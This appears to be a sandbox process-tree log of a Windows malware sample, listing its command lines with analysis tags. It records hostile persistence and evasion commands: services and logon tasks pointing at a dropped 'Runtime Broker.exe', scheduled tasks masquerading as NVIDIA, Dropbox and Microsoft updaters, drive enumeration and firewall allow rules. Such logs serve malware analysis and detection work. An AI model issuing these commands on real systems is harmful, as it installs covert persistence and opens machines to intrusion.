C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_27ded1e0" /XML "C:\Windows\SystemTemp\b07a2848-99dc-41da-b984-0b152e0b3cae.xml" /F9⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_dbfa7a6d" /F9⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_dbfa7a6d" /XML "C:\Windows\SystemTemp\5c674383-148b-4f01-89bf-af8be7826fcd.xml" /F9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D9⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_da1ae590" /F9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S9⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_da1ae590" /XML "C:\Windows\SystemTemp\ead7501f-0193-470b-a2e2-dc2ed4a4ac9d.xml" /F9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D9⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S8⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"8⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"8⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"8⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_6a73b808" /F8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D8⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_6a73b808" /XML "C:\Windows\SystemTemp\ca124d36-b4b6-43f3-b89a-e355cc3983d8.xml" /F8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S8⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_883a4445" /F8⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_883a4445" /XML "C:\Windows\SystemTemp\654cb245-b930-4004-8841-b9274d6ea061.xml" /F8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D8⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "User_Feed_Synchronization-65bb96cf-f2ca-4c64-86b7-342c65bf59fd" /F8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S8⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "User_Feed_Synchronization-65bb96cf-f2ca-4c64-86b7-342c65bf59fd" /XML "C:\Windows\SystemTemp\bde58b99-01f3-49cd-a96e-23fd71e4f9fb.xml" /F8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S8⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S7⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"7⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"7⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_21506d01" /F7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyRefreshTask_21506d01" /XML "C:\Windows\SystemTemp\7b0c2dbf-753b-41a5-9cbb-fa0acd7278c5.xml" /F7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "ProgramDataUpdater_4c4153fc" /F7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "ProgramDataUpdater_4c4153fc" /XML "C:\Windows\SystemTemp\3412b929-17f0-4bb3-be81-3e8b3e647b95.xml" /F7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_5c627e64" /F7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_5c627e64" /XML "C:\Windows\SystemTemp\aa6a2a64-b437-4727-9985-f858298af25d.xml" /F7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S7⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S6⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_29c787da" /F6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_29c787da" /XML "C:\Windows\SystemTemp\4f4755ac-d22e-41cb-b506-cd887266a161.xml" /F6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Consolidator_048643af" /F6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Consolidator_048643af" /XML "C:\Windows\SystemTemp\0494e939-101f-448a-b5ff-002b96d7f9fb.xml" /F6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_d86bd7e2" /F6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_d86bd7e2" /XML "C:\Windows\SystemTemp\8e387e9d-9441-498c-9fef-08b49842b688.xml" /F6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D6⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S5⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_ac1b95c4" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_ac1b95c4" /XML "C:\Windows\SystemTemp\ba696e8f-c109-44e0-9977-d8c08ac75f89.xml" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_6493e6be" /F5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_6493e6be" /XML "C:\Windows\SystemTemp\3f8d55b0-6345-4b4a-a10f-3142d8f7e059.xml" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "StartupAppTask_73145e0d" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "StartupAppTask_73145e0d" /XML "C:\Windows\SystemTemp\23078b7d-a947-45dd-bd1b-7208633b2c66.xml" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /D5⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S4⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "ProgramDataUpdater_ca0cdfd7" /F4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "ProgramDataUpdater_ca0cdfd7" /XML "C:\Windows\SystemTemp\cd4bd30c-c73d-44a1-a746-3b139b4bcc51.xml" /F4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "User_Feed_Synchronization-9024f35c-f470-4c69-9064-ee255905f68b" /F4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "User_Feed_Synchronization-9024f35c-f470-4c69-9064-ee255905f68b" /XML "C:\Windows\SystemTemp\91ebd5e7-db60-4d54-b6b4-7e35a1553685.xml" /F4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_dfdccab3" /F4⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_dfdccab3" /XML "C:\Windows\SystemTemp\f4cf0be7-6b23-4f6a-a1e8-8abb945855c2.xml" /F4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /D4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /S4⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /D4⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D3⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Runtime Broker.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_2902875c" /F3⤵
-
-
C:\Windows\CMD.exe"CMD" /c schtasks /delete /F /TN "sihost" & exit3⤵
-
-
C:\Windows\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "sihost" /tr "C:\Windows\Runtime Broker.exe" & exit3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_2902875c" /XML "C:\Windows\SystemTemp\1b4f54e5-030b-47e2-8e84-e7faeff2448b.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D3⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_d67119a2" /F3⤵
-
-
-
C:\Windows\Runtime Broker.exe"C:\Windows\Runtime Broker.exe"1⤵
- Executes dropped EXE
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Runtime Broker.exe" enable=yes & exit2⤵
- System Time Discovery
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit3⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit4⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit5⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit6⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit7⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit8⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit9⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit10⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D9⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S8⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D8⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"8⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S7⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"7⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"7⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_d512dde2" /F7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_d512dde2" /XML "C:\Windows\SystemTemp\e5cdc865-ee2c-484e-ba05-7051089a9362.xml" /F7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "SystemSoundsService_6716b136" /F7⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "SystemSoundsService_6716b136" /XML "C:\Windows\SystemTemp\280aa041-49eb-48af-bd29-17d07e779da2.xml" /F7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "ProgramDataUpdater_9321113d" /F7⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "ProgramDataUpdater_9321113d" /XML "C:\Windows\SystemTemp\52972d02-91fa-4f6f-a621-bdf88548cde5.xml" /F7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D7⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S6⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_ecc67a35" /F6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_ecc67a35" /XML "C:\Windows\SystemTemp\7b788642-273b-4abe-b068-ad622eced56c.xml" /F6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_436e0e53" /F6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_436e0e53" /XML "C:\Windows\SystemTemp\d9a1e28b-a16e-4a80-a08e-b59141e19397.xml" /F6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_607eb961" /F6⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_607eb961" /XML "C:\Windows\SystemTemp\57e1c79b-88c2-4681-88aa-41777a16ab64.xml" /F6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S6⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D6⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S5⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D5⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S5⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_3acb0939" /F5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_3acb0939" /XML "C:\Windows\SystemTemp\116bfd9b-ba13-4104-9f18-28acf5183db4.xml" /F5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_c90ac019" /F5⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D5⤵
-
-
